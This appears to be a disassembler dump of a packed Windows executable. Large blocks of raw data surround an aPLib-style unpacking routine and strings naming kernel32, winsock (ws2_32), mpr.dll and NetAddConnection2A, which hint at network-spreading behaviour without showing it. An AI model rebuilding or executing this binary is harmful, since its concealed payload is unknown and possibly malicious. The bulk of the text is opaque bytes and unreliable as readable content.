		dd 1E3C89D0h, 8BCEBF0Fh, 2EB83C7h, 128A0Fh, 0DE90000h
		dd 41000000h, 7DD427E6h, 7940C372h, 356C1FBEh, 0DE84B4Bh
		dd 0B1000000h, 0ED041796h, 0E970B322h, 0A59C0F6Eh, 5ACAB70Fh
		dd 0FA50FB81h, 850FFFFFh, 0FFFFFF93h, 8B66ECB1h, 10E8F3h
		dd 0D1F80000h, 0DA43736h, 910D3C2h, 0C53C2F0Eh,	81664B1Ah
		dd 5A9C6CEEh, 5A4C281h,	0BE90000h, 17000000h, 0B322ED04h
		dd 0F6EE970h, 0BBA59Ch,	8B000000h, 1334FFF7h, 15EF8166h
		dd 0B966586Fh, 0E881E791h, 49EF4D86h, 82D18166h, 47C0818Ch
		dd 81602706h, 717E74C0h, 89F88B36h, 9E81A04h, 3D000000h
		dd 39008332h, 0F52CDF7Eh, 2EB835Fh, 0EC2EBF66h,	0FB814B4Bh
		dd 0FFFFFAD8h, 0FFB3850Fh, 0E8FFFFh, 5D000000h,	5B5D895Bh
		dd 5F5D895Bh, 0D858958h, 58000004h, 15A7D80h, 85895975h
		dd 425h, 33458D60h, 64C03350h, 896430FFh, 0E8C38B20h, 2E4h
		dd 648B1CEBh, 67640824h, 68Fh, 6104C483h, 5063458Dh, 0E85F55FFh
		dd 2DEh, 676409EBh, 68Fh, 0EB24C483h, 3048001Bh, 0B6A1004Eh
		dd 656B7C80h, 6C656E72h, 642E3233h, 0E8006C6Ch,	29Ch, 8CB58DFCh
		dd 0AD000000h, 1B74C00Bh, 0CB9F88Bh, 0F3000000h, 10EBA4h
		dd 20004010h, 19B2BB43h, 0FD80AA11h, 89A35ACDh,	429A5h
		dd 68406A00h, 1000h, 408B5FFh, 6A0000h,	3F095FFh, 85890000h
		dd 1CCh, 4009D8Bh, 9D030000h, 40Dh, 4E85350h, 6A000001h
		dd 10006840h, 0B5FF0000h, 408h,	95FF006Ah, 3F0h, 4318589h
		dd 85890000h, 1D0h, 0A16764h, 2D858900h, 8B000004h, 858B5B55h
		dd 1D0h, 858B0289h, 408h, 8D044289h, 39F85h, 55408B00h
		dd 8B084289h, 3EC85h, 10428900h, 3E8858Bh, 42890000h, 0CC958B14h
		dd 0BB000001h, 1F8h, 0C1A7C8Bh,	1E74FF0Bh, 101A4C8Bh, 1174C90Bh
		dd 1D0BD03h, 748B0000h,	0F203141Ah, 0F302F9C1h,	28C383A5h
		dd 858BDAEBh, 1CCh, 0D0958B50h,	52000001h, 0DA03188Bh
		dd 3E4858Bh, 3890000h, 3E8858Bh, 43890000h, 0EC858B04h
		dd 89000003h, 5E5F0843h, 304468Bh, 0C78589C7h, 8B000001h
		dd 858B5B55h, 1C7h, 8D0C4289h, 40D9Dh, 6A5300h,	16A006Ah
		dd 85E8B57h, 6853DF03h,	8000h, 0FF56006Ah, 3F495h, 0E0006800h
		dd 0C30099h, 9400h
		db 0, 97h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		pusha
		push	ebp
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		cld
		mov	dl, 80h


loc_4E35E5:				; CODE XREF: .data:loc_4E35F4j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi


loc_4E35EB:				; CODE XREF: .data:004E3649j
					; .data:004E368Ej ...
		add	dl, dl
		jnz	short loc_4E35F4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E35F4:				; CODE XREF: .data:004E35EDj
		jnb	short loc_4E35E5
		add	dl, dl
		jnz	short loc_4E35FF
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E35FF:				; CODE XREF: .data:004E35F8j
		jnb	short loc_4E364B
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E360C
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E360C:				; CODE XREF: .data:004E3605j
		jnb	loc_4E36E8
		add	dl, dl
		jnz	short loc_4E361B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E361B:				; CODE XREF: .data:004E3614j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E3626
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E3626:				; CODE XREF: .data:004E361Fj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E3631
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E3631:				; CODE XREF: .data:004E362Aj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E363C
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E363C:				; CODE XREF: .data:004E3635j
		adc	eax, eax
		jz	short loc_4E3646
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4E3646:				; CODE XREF: .data:004E363Ej
		mov	[edi], al
		inc	edi
		jmp	short loc_4E35EB
; ---------------------------------------------------------------------------


loc_4E364B:				; CODE XREF: .data:loc_4E35FFj
		mov	eax, 1


loc_4E3650:				; CODE XREF: .data:loc_4E3664j
		add	dl, dl
		jnz	short loc_4E3659
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E3659:				; CODE XREF: .data:004E3652j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E3664
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E3664:				; CODE XREF: .data:004E365Dj
		jb	short loc_4E3650
		sub	eax, 2
		jnz	short loc_4E3693
		mov	ecx, 1


loc_4E3670:				; CODE XREF: .data:loc_4E3684j
		add	dl, dl
		jnz	short loc_4E3679
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E3679:				; CODE XREF: .data:004E3672j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E3684
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E3684:				; CODE XREF: .data:004E367Dj
		jb	short loc_4E3670
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E35EB
; ---------------------------------------------------------------------------


loc_4E3693:				; CODE XREF: .data:004E3669j
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4E36A1:				; CODE XREF: .data:loc_4E36B5j
		add	dl, dl
		jnz	short loc_4E36AA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E36AA:				; CODE XREF: .data:004E36A3j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E36B5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E36B5:				; CODE XREF: .data:004E36AEj
		jb	short loc_4E36A1
		cmp	eax, 7D00h
		jnb	short loc_4E36D8
		cmp	eax, 500h
		jb	short loc_4E36D3
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E35EB
; ---------------------------------------------------------------------------


loc_4E36D3:				; CODE XREF: .data:004E36C3j
		cmp	eax, 7Fh
		ja	short loc_4E36DB


loc_4E36D8:				; CODE XREF: .data:004E36BCj
		add	ecx, 2


loc_4E36DB:				; CODE XREF: .data:004E36D6j
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E35EB
; ---------------------------------------------------------------------------


loc_4E36E8:				; CODE XREF: .data:loc_4E360Cj
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E3704
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E35EB
; ---------------------------------------------------------------------------


loc_4E3704:				; CODE XREF: .data:004E36F0j
		pop	ebp
		sub	edi, [ebp+0Ch]
		mov	[ebp-4], edi
		popa
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		dd 7C80261Ch, 2424448Bh, 0FF000025h, 5FFh, 2D0001h, 66000100h
		dd 5A4D3881h, 8960F475h, 3F885h, 8BD08B00h, 3C4003D8h
		dd 89785803h, 30D9Dh, 0CC9D8D00h, 8D000003h, 3E4BDh, 89338B00h
		dd 37CB5h, 0BE800h, 83AB0000h, 3B8304C3h, 61EA7500h, 9D8B60C3h
		dd 30Dh, 3204B8Bh, 3318BCAh, 2FE8F2h, 0CEBF0000h, 3B49CD75h
		dd 830574C7h, 0E9EB04C1h, 2B204B2Bh, 3E9D1CAh, 0CA03244Bh
		dd 0C109B70Fh, 4B0302E1h, 8BCA031Ch, 89CA0309h,	611C244Ch
		dd 8EBA52C3h, 0AC9C3B24h, 1474C00Ah, 8B0D032h, 673EAD1h
		dd 0F39AF281h, 0C8FEC1A7h, 0E7EBF275h, 0A7C35A92h, 0F0B72551h
		dd 57A7493Bh, 13901902h, 0CE74EE32h, 49CD75h, 0A0000000h
		dd 0A17C80ADh, 777C80B6h, 517C801Dh, 0E47C809Ah, 7C809Ah
		dd 7C8000h, 540001D6h, 0F2000E3Bh, 158h, 300h, 2 dup(400000h)
		dd 3 dup(0)
		dd 281E0h, 0
		dd 12FFA4h, 12FFE0h, 970000h, 1000h, 25E00h, 11E70h, 27000h
		dd 1E00h, 16CBh, 29000h, 1A400h, 995Ch,	60h dup(0)
		dd 2000h, 8, 6 dup(0)
		dd 7C80ADA0h, 7C80B6A1h, 7C801D77h, 2 dup(0)
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h
		dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h
		dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h
		dd 3 dup(0)
		dd 0E3A10h, 0E39FCh, 3 dup(0)
		dd 0E3AC8h, 0E3AF5h, 3 dup(0)
		dd 0E3AD0h, 0E3AFDh, 3 dup(0)
		dd 0E3ADBh, 0E3B05h, 3 dup(0)
		dd 0E3AE8h, 0E3B0Dh, 5 dup(0)
		db  6Dh	; m
		db 70h,	72h, 2Eh
		db  64h	; d
		db 2 dup(6Ch), 0
		db  77h	; w
		db 73h,	32h, 5Fh
		db  33h	; 3
		db 32h,	2Eh, 64h
		db  6Ch	; l
		db 6Ch,	0, 6Fh
		db  6Ch	; l
		db 65h,	61h, 75h
		db  74h	; t
		db 33h,	32h, 2Eh
		db  64h	; d
		db 2 dup(6Ch), 0
		db  6Bh	; k
		db 65h,	72h, 6Eh
		db  65h	; e
		db 6Ch,	33h, 32h
		db  2Eh	; .
		db 64h,	2 dup(6Ch)
		db    0
		db 7Fh,	51h, 0B2h
		db  71h	; q
		align 4
		db    0
		db 0C9h, 46h, 0ABh
		db  71h	; q
		align 4
		db    0
		db 0EAh, 6Ah, 12h
		db  77h	; w
		align 4
		db    0
		db 9, 2Ah, 81h
		db  7Ch	; |
		align 4
		db    0
		db 2 dup(0), 57h
aNetaddconnecti	db 'NetAddConnection2A',0
		align 4
		db    0
aVariantchanget	db 'VariantChangeTypeEx',0
		db 2 dup(0), 52h
aAiseexception	db 'aiseException',0
		align 4
		dd 2E838A4h, 8E06170h, 0C2018D88h, 1E7019Fh, 705E5708h
		dd 12578703h, 50BB3810h, 46FF009Ah, 4492513h, 2443BDE3h
		dd 6592260h, 2801142Bh,	70122051h, 1A0A012Ah, 47F45001h
		dd 0E2285790h, 480424A0h, 3044DE20h, 121E89B0h,	9150BD24h
		dd 570A22E0h, 0F0B22842h, 364CC8B9h, 481FBE9h, 20401038h
		dd 5300060Ch, 6E697274h, 75586735h, 50010019h, 338E0420h
		dd 18002C9Ch, 0AC0922A8h, 0A4B044h, 812B8488h, 20E01298h
		dd 4F54070Eh, 656A0062h, 0FF7463h, 7091A425h, 0C08B3242h
		dd 39A01000h, 8E981C9Ch, 23940047h, 0C88C9190h,	8401E488h
		dd 7C398072h, 2286781Ch, 44B82374h, 0E4B4C800h,	3968726Ch
		dd 601C2064h, 58235C00h, 50C85491h, 724C01E4h, 1C443948h
		dd 23B00040h, 3891013Ch, 30E434C8h, 0C439D472h,	0DEE1D3Ah
		dd 2A281C2Ch, 0EE023F8h, 0D8C8DC91h, 0D072D4E0h, 83015318h
		dd 0BBBCC409h, 6E80200Ah, 0C10123E8h, 4400F60Ch, 74DC2C24h
		dd 0F1E05h, 30065CB7h, 0FE38C38Bh, 47EB5B00h, 6534DA2Ch
		dd 8320720h, 3618391Ch,	100F7A14h, 80900C23h, 0BE5653C0h
		dd 0C774074Ch, 3E8312h,	44683A75h, 0CC066701h, 0DFE8036Ah
		dd 8BDBC0h, 75C985C8h, 0C0313305h, 0A1CA5E00h, 89438E48h
		dd 0D4A1C01h, 0D2803F08h, 0C003C28Bh, 441D8D0Fh, 1EC004C1h
		dd 6901889h, 3837D42h, 0EC7564FAh, 10883F9Eh, 59001633h
		dd 3B54B690h, 72D10440h, 0D8F23858h, 1F33E880h,	0ED859602h
		dd 8B493000h, 503A8916h, 56990E08h, 803F0C04h, 6233EF13h
		dd 42481458h, 0B003003Ch, 50191C01h, 0FD083DA2h, 9451F980h
		dd 9991150Eh, 43A33E00h, 9003C307h, 557F57h, 14F9F18Bh
		dd 5AE8D424h, 9760500Fh, 6A466004h, 0BEEB5Dh, 0B03BBF90h
		dd 3D0A043h, 0C795300h,	14751612h, 0E8130006h, 27D4DDA7h
		dd 0A7F6096h, 4460100h,	4C50EB6Eh, 3B4E0003h, 0D75C215h
		dd 180FD41Dh, 6FDF077Dh, 0C7005FEBh, 0E8C5E1D6h, 2B940977h
		dd 990FA084h, 5D5A6AA0h, 8901A45Fh, 12E0C58Dh, 0F8E40A74h
		dd 3A3900BFh, 0A13230FBh, 7201F03Bh, 0CE186C7Dh, 0E8DC4A03h
		dd 6E610055h, 5E77CDD8h, 7500248Fh, 36BCB41Bh, 0CFF01h
		dd 83AA2963h, 40829C7Bh, 65994400h, 0A9743EBh, 0ED7250D8h
		dd 74CE0077h, 5430DFF8h, 1D00FECFh, 0EBCD7329h,	9E2A26h
		dd 24478985h, 7C57F92Bh, 12965C03h, 0E0FBD0F0h,	30D476B9h
		dd 0EB28A76Ah, 0D000E0Ch, 3B1BA898h, 0FA65FB7Eh, 6259071Ch
		dd 23A39092h, 0F0A8DA8Bh, 0CE0AFE81h, 9C02104Eh, 808DBE09h
		dd 0FFC6FC12h, 14BB00E3h, 1008E636h, 73008903h,	68016A04h
		dd 242083h, 90C05618h, 89F880EFh, 0FF853B09h, 909803Ch
		dd 350B8D3h, 0C664482Ah, 80A94A13h, 38BC8E4h, 0F700E8FAh
		dd 7AF84FD5h, 7D1264ACh, 41D91F55h, 47FC80B4h, 6A614304h
		dd 505DB500h, 55520C68h, 75C50E53h, 0CA20791Fh,	1C259332h
		dd 3B839E0Ah, 0A500C729h, 9F6CA4DCh, 4CD200ECh,	0E4491312h
		dd 0E31283C7h, 1E07FF08h, 54117D66h, 0E8C51D90h, 0F88F09E8h
		dd 2A790FC5h, 4180ED10h, 2451EB4Fh, 9073F31Ch, 77EE1E40h
		dd 3BC64946h, 0BB000F03h, 0EDEFDF35h, 43036A74h, 0D568987h
		dd 767FC015h, 0A96B0FDEh, 73609575h, 0A06864Dh,	2C05C700h
		dd 261BDC8Dh, 0DF501C10h, 59FBC781h, 30EB3075h,	0ED7E0460h
		dd 0D47C8300h, 1928C070h, 43E93D0Fh, 22620800h,	0AD2B0C15h
		dd 321D9700h, 14AC50AFh, 0B974A6h, 4CF447B8h, 0EA1C7285h
		dd 0E5813Fh, 337BAF0h, 0C2971Ah, 20930F74h, 0B5F887E2h
		dd 4C1E8900h, 0D10D281Bh, 4DC5072Bh, 0B035F546h, 5EFE3CCFh
		dd 7E12C174h, 9201030Ch, 27C7690h, 3DFDDCCh, 0F1BAE8F8h
		dd 3C800DA6h, 58001E24h, 2B0F1044h, 535764h, 0C1755A85h
		dd 0C9EBA628h, 8A003390h, 0BC65BA0Fh, 0C860Ah, 740B6B92h
		dd 0B6612C32h, 0A221F300h, 86E6824Ch, 9E342650h, 590301D9h
		dd 0F8C9583Fh, 2B0032F7h, 8594410Fh, 0C33842h, 0B773241Ch
		dd 0EFE10ADDh, 8D00DE7Dh, 0E8835EFDh, 3404781h,	2E24249h
		dd 58C89412h, 0AD0038C0h, 0BDD04531h, 0F837C160h, 3FFF00C7h
		dd 83E78753h, 0F50031C0h, 3B33D45Dh, 7F0F60h, 7C4A2C58h
		dd 0E55D759h, 557E800h,	74772117h, 46FD0050h, 85764963h
		dd 0A2073E90h, 0DD0AC935h, 0AA6480DEh, 98E814C7h, 8F2F00A5h
		dd 19CCCB21h, 390BFBAh,	5CCDA7A0h, 7423A500h, 0E83A060Ch
		dd 59CC009Fh, 24376CDEh, 64137A10h, 2B0EB05Ch, 0A73F80FAh
		dd 2C026593h, 806207h, 75558249h, 57EE85F5h, 0FA34200h
		dd 0E0A4968Eh, 0DA95038Dh, 2A2BA90Bh, 56269CE8h, 270FE8F6h
		dd 0E31D35BDh, 3373306h, 0A5C99284h, 42C82686h,	8400B175h
		dd 0EF9D8B16h, 7258C4Dh, 0AAC226Dh, 4E08C0E9h, 0A0008AC9h
		dd 0E345947h, 7850F82h,	9FFF6A66h, 48EB704Bh, 81166B29h
		dd 0AB07F51Ch, 1DA04922h, 1EB4D855h, 40857AA6h,	38832146h
		dd 28006FA8h, 1A406911h, 109A94Fh, 10425214h, 0F44A078Ah
		dd 1600C7ABh, 26239280h, 98C5F98Bh, 199800FCh, 300DE31Ch
		dd 7B000336h, 0BE650F0h, 0DE1F3Bh, 0CFD25B73h, 0D32B7406h
		dd 0EB298B00h, 0B844CC05h, 4D4F0089h, 8F5CF1B9h, 0DB038520h
		dd 59B61FCAh, 64B490C3h, 0B1892E39h, 0B2A5032Dh, 0F6B80811h
		dd 0F2004914h, 40333C48h, 94EB03h, 8E07957Ah, 815C8D52h
		dd 9CEC2800h, 662668EAh, 4B7F19h, 3332FF64h, 30DA2289h
		dd 68288F00h, 3D800301h
dword_4E414C	dd 65700041h, 230A7E16h, 5D000713h, 6F8861EFh, 0F8729EB5h
					; DATA XREF: seg002:off_442420o
		dd 1214008Ch, 0CA0FF868h, 0A30718CCh, 3D832D88h, 841A0650h
		dd 0EFB8002Fh, 5159D85h, 0C900330Eh, 0F482C080h, 173D2A40h
		dd 0DAF01h, 2770B841h, 7300BE2Ch, 847C62C8h, 52805C6h
		dd 0EA0014Ah, 8CF5005Ah, 6D68100Ah, 87299707h, 0C3800F51h
		dd 3BAF3E9h, 0E5EB14FEh, 5DF82EA0h, 53001BC4h, 86C8E74Ch
		dd 3CC840Fh, 21D2A4D5h,	0C7971A4Ah, 0E068815Eh,	1291F0A1h
		dd 0E74C29B0h, 0B24D0360h, 0D825F477h, 423C3Ah,	0A63D51D5h
		dd 0E4B52EB3h, 39FE601h, 61B88993h, 117FDE4h, 153E3238h
		dd 0E0535E57h, 0E9007505h, 0DA77CA51h, 1F3B1A94h, 80290A52h
		dd 5BDBC2E4h, 537CE080h, 0A17C051Ch, 83390980h,	0B1528h
		dd 480213DFh, 0E4F98108h, 7F27AD0Eh, 176D0038h,	0B79C985h
		dd 0C183031Ch, 240968Eh, 0CD97D2D5h, 0EBF48100h, 51174A24h
		dd 18460FDAh, 0F560F02Ch, 0D6780CBFh, 0AE158203h, 752D709h
		dd 938C9D66h, 4AB590EBh, 0C100ED80h, 0EE030772h, 70FCF0Ch
		dd 8112C216h, 7518F0FAh, 10009EE8h, 31185B9h, 0A08E534Fh
		dd 1CA40BEh, 97F0E983h,	0C401761Ch, 7C0010FAh, 703C70Fh
		dd 8B3034h, 2085D14Ch, 28A0D80Ch, 0F37C0400h, 0C981428Ah
		dd 808703C8h, 0B260889h, 5FF1490h, 87B81C3Fh, 4EA83D0h
		dd 0FCE2ABF0h, 7FE40186h, 15011217h, 11EB6020h,	3CAC0B00h
		dd 7C3A0C6Eh, 0CA96000Eh, 2C2B5F02h, 13010D84h,	4A522A0Bh
		dd 0A7701C0Ah, 4DB8C2h,	4D08B1FEh, 0E1339048h, 9149200h
		dd 31742506h, 47F2Ah, 0A154B0DAh, 0AE802B64h, 1133C800h
		dd 0B2FEC2F7h, 20AC1EE2h, 1F643EBh, 8AB8FAC7h, 72E0A746h
		dd 0C62B0800h, 58EB703Bh, 8806001Eh, 2B64FE8h, 0DE00030Bh
		dd 64455509h, 1FD8963Dh, 7A00733h, 20670AA9h, 3E5A250Bh
		dd 0B0F8BF00h, 2A824D8h, 13760075h, 0C655F378h,	4600FC32h
		dd 8316A008h, 0FE7A23h,	0B02CC74Bh, 0B20994F8h,	13B34503h
		dd 984D665Ch, 7FDC5D3Fh, 418D0067h, 52D12B37h, 873D7FF3h
		dd 0C49CAEC9h, 0FBC5FA00h, 4C7DE9E3h, 7F39B412h, 91925304h
		dd 0C37AC466h, 25F80F47h, 8D00EFA8h, 1157E746h,	822CF4h
		dd 0B979EDD6h, 0D5C6301Eh, 0B5002B79h, 0AA6BE342h, 705AF813h
		dd 0C29A3A73h, 148D0A00h, 0E8D0BCC7h, 350B4600h, 0F82CEF9Eh
		dd 1B00060h, 489C5A59h,	30006BE9h, 7389DFA0h, 2C0239BAh
		dd 0D3C603h, 14095C1h, 990EFE81h, 0A137984Eh, 359AD285h
		dd 0FAC2F4h, 4D2E4C9Bh,	0A5F49009h, 4410BC00h, 1D5C890Dh
		dd 25B0013h, 3AEB1B87h,	431FE369h, 0C3001296h, 0E6BF5A92h
		dd 407F002Ch, 0D4B7C3Ch, 73C3921h, 8283090Ch, 84EF0017h
		dd 1CCD1D33h, 0AE2E4BB3h, 1FC20057h, 0EA7E1180h, 8E099200h
		dd 836252FDh, 0EB210307h, 1441A12Bh, 0B930C8C0h, 84421500h
		dd 7448C51h, 591913CAh,	0A8870EAFh, 78962640h, 6B050969h
		dd 8D41670Eh, 0C7A5FB80h, 0C2FC58F8h, 220D4A03h, 8CE30835h
		dd 468240FFh, 521D7C3Bh, 0D8400712h, 5FE82606h,	297B0099h
		dd 4470119h, 9D030320h,	7449F30Bh, 0C63FC824h, 0E8170781h
		dd 5033ABCFh, 117A842Dh, 0DD0024F6h, 485932C7h,	5EDF6Dh
		dd 3735F56Fh, 4D3E7D82h, 5D218300h, 9D10FE93h, 0C96C0094h
		dd 0F174D4CFh, 6B00E809h, 9833C606h, 8B3E36h, 0D7396C4h
		dd 22075CAh, 73A905Ch, 0BEC6490Ch, 8DCC5EF0h, 2E527FE1h
		dd 1C2FBAAh, 94B60CAh, 2E8FC882h, 8E90A23Bh, 0A03D02F8h
		dd 94167FEFh, 0C46E005Ch, 0AA808254h, 87B75D2h,	0EAC55E03h
		dd 98CDA984h, 0BF1620h,	0BD0B8291h, 0D4E19B80h,	775C5375h
		dd 0B184007Fh, 881F1728h, 4C7E006Ch, 19920B7Bh,	7F1F31D7h
		dd 0EBC38E43h, 90281F42h, 79F4BB74h, 16630026h,	67D10DE4h
		dd 12000E5Fh, 4E4149D8h, 3FF1B95h, 907889Ah, 0F6D87AE9h
		dd 1800EB3Bh, 0A29A448h, 927D83h, 0FD8498C7h, 4538153Dh
		dd 0C400B3FEh, 288C3501h, 7AD9B1D6h, 0F30A024Bh, 4432CEEEh
		dd 4C515160h, 3E66F51Dh, 0B0C0BC1Dh, 5658B61h, 0D33C0074h
		dd 92D60317h, 0EB004D32h, 41F211C1h, 5758Ch, 73D69DAh
		dd 15CAD33h, 4E0E6A00h,	645D4B7Eh, 559500D4h, 172DB68Dh
		dd 0A5000296h, 9908ABE8h, 0E8480AB1h, 0E92A02FCh, 0C9F4D5FAh
		dd 2DE07B62h, 26006920h, 17210231h, 24C3838Eh, 53EEDCh
		dd 2AD2FB28h, 8B00BB05h, 22F581E0h, 0F0B0Ch, 0CD64938Fh
		dd 34C98491h, 79F27D0Fh, 0C6142092h, 2A7C303h, 50014289h
		dd 0F7E075D0h, 0D48212Ah, 2C023FC7h, 0F8009D7Ch, 38CB4A9Eh
		dd 863D039Fh, 768F4420h, 844DB412h, 2E804C1Ch, 611F0D5Eh
		dd 6952005Dh, 0ABBC4AEFh, 0EB0390F2h, 0E8051D21h, 8E14A8CBh
		dd 3BC43DD0h, 7FE18801h, 70294A2Ah, 431654E6h, 41E030Dh
		dd 9298E4C0h, 57861Dh, 0D4B755D3h, 349A9732h, 411A0E00h
		dd 0FF429271h, 73D7B20h, 824B568Bh, 0A85D4026h,	88002449h
		dd 643CA351h, 7522CFAh,	851F8D28h, 0F0671016h, 6A58BDD8h
		dd 0E90400EDh, 999812A0h, 2246009Eh, 97A884F5h,	1E0051F1h
		dd 75F0C3F6h, 4843A40Fh, 69004144h, 98897970h, 4A1F6864h
		dd 80C125C3h, 53A92B5h,	7CED0D8h, 45C50154h, 0AAE9708Bh
		dd 4B00509Ch, 57675D08h, 0E012F7h, 3F32CC95h, 48C3140Ah
		dd 3BC22B1Fh, 0C91456EEh, 990C0389h, 0D89AA5A6h, 0E8E244h
		dd 3D3B24F8h, 2C754248h, 4C3F71E6h, 81808256h, 0C025D4BBh
		dd 57EA2h, 709985E6h, 0DCABA5A4h, 108B8000h, 7402C2F6h
		dd 611C3A4Eh, 7204FA80h, 400B88F4h, 8833700h, 3B29EA01h
		dd 0ADC7078Bh, 0F0B60578h, 0C5065DB4h, 0EC081626h, 51132400h
		dd 459F8Bh, 0D332988Eh,	25C688A2h, 3DA16900h, 0A521A636h
		dd 5E740022h, 75B0295Dh, 0C60BD582h, 0E6ED30h, 10BE1249h
		dd 70E8078Bh, 0D0D7F54Dh, 0F14CB8E1h, 324C500h,	3B01C8C7h
		dd 8C0F02FEh, 0D71C4083h, 0BDB69DC0h, 0F8D33F00h, 0C1387516h
		dd 52905E0h, 0C5675333h, 7DED0087h, 4C8D0F0Eh, 789814F0h
		dd 29C81F00h, 0E9F7216Fh, 82F65Ah, 3F6D833h, 0AA285E02h
		dd 16AD300h, 0A96BD49Eh, 1BD8E1FBh, 3DD008Bh, 415DDE69h
		dd 0E70089FEh, 0F5753E4Ah, 343525h, 0C7A9823Ch,	84AEEADAh
		dd 27674B00h, 7C23DC2Eh, 5453005Eh, 15DB68C2h, 0E00F758h
		dd 28AA18F2h, 6034214h,	0A819C735h, 2C16B050h, 0C1071CD2h
		dd 0B502025h, 4A89F0h, 0E9D70675h, 0CA91DD73h, 5295AA00h
		dd 4D24B1DFh, 0C2960078h, 0E4F57F85h, 3B140697h, 859A81h
		dd 14831F2Bh, 98E0DAh, 932CEBE5h, 3587299Eh, 0D1322400h
		dd 0C3404A0Eh, 485D07C7h, 203A8FD3h, 93E25434h,	0C40029F6h
		dd 2356F72Eh, 0C2421h, 0ABAFD81Ch, 2B7A04A0h, 74F805FAh
		dd 77020900h, 641363E9h, 7EBFA4Ah, 5E5AA719h, 741460B8h
		dd 0FC00F25Dh, 7815D9B9h, 1731C422h, 4E6F25h, 0AB10837Eh
		dd 500C012h, 0EBFC5D89h, 76C364Dh, 330F7F19h, 4881D0F8h
		dd 0C2009FEAh, 0F40662CEh, 7DF04Fh, 84973802h, 1AA811F8h
		dd 9100CBF0h, 5C164BE8h, 0FC0747EBh, 7D890009h,	3821939Ch
		dd 0B8747C25h, 8140BC00h, 1815FF0Ah, 0D7650460h, 80011489h
		dd 54BF84FBh, 52DCB31Fh, 911C21C0h, 90022375h, 850800B5h
		dd 943274C9h, 1800037Ch, 22C88950h, 672042h, 0DA197559h
		dd 0F9D8E924h, 3A50577Eh
		dd 3201528Fh, 0D0061065h, 45DCA6D7h, 983D00E7h,	0AF0E026h
		dd 0AA00040Dh, 5A03AFB0h, 0D105FFh, 0ED808A48h,	0B79BE40h
		dd 4677E800h, 7AF68B81h, 0E9100008h, 0CB0126C3h, 0C903C8CCh
		dd 0CDD0CFD7h, 0D8DB80CEh, 0DAD900CAh, 0EDEDDDCh, 0E100E0DFh
		dd 0E5E405E3h, 505890h,	2EA85152h, 0C584B883h, 5ABC3Eh
		dd 0C031B244h, 154C966h, 428F1E50h, 0DD105180h,	8BD2F80Fh
		dd 110388F8h, 6905489h,	1F91D0C8h, 0C65F00CBh, 3916D7D8h
		dd 770009F7h, 602F7413h, 2A7829h, 0F8A5F33Fh, 3E1831Dh
		dd 18A4D207h, 0E177431h, 7C3AFC30h, 1950000Fh, 1AFD5311h
		dd 6600CB58h, 6941C706h, 728143FCh, 4C4000Ch, 5086092Fh
		dd 0EB391290h, 8A0FFF01h, 0E0D14003h, 0F576203Ch, 3B800007h
		dd 530B7522h, 0CE2017Bh, 0C50558h, 34E6EB02h, 4FE255Fh
		dd 1B1CC7FAh, 88508043h, 62070414h, 84135640h, 0DDD21B1h
		dd 2E58F0D8h, 0ACD2C3h,	8028D818h, 9C7F3D07h, 0CD7C8B00h
		dd 20CE5F61h, 42B700F5h, 14D66A27h, 800EE25h, 0C2F81CCBh
		dd 788977h, 681E34E0h, 2C0B055Dh, 92148D03h, 0C022B050h
		dd 0C88B88h, 3AC677CAh,	0EE1EEB8Eh, 3513F300h, 0DD3DB55Bh
		dd 0B460216h, 0F4E4D268h, 4B0F5040h, 0D5E9EB0Fh, 0CA63209Eh
		dd 1DAF5CE0h, 40F2E80Eh, 73410C72h, 0B7E00F67h,	6BF04500h
		dd 3663CC0h, 0D2F23EEEh, 40401E9Ch, 1F4558Bh, 0F60169D0h
		dd 178A38E8h, 0E0DE1964h, 483C0533h, 0E500384Bh, 8378825Dh
		dd 0DF0108ECh, 589B8EC0h, 6CC85A5Fh, 5B0C001Eh,	2DA31BD9h
		dd 0FD0092A4h, 33285CDFh, 13FA2C16h, 1CA959h, 0AB81C735h
		dd 0D90F078Ah, 67A2BBD6h, 0D0009816h, 381272h, 0E7F77C8h
		dd 88AAD160h, 1470700h,	0DE7AD748h, 2AC80481h, 80F7760Fh
		dd 0E80CEB87h, 0C949B500h, 0A668A64h, 62410068h, 0C131A990h
		dd 0E01F94E9h, 55C02203h, 51082027h, 0F6CE0BF4h, 0B40013EEh
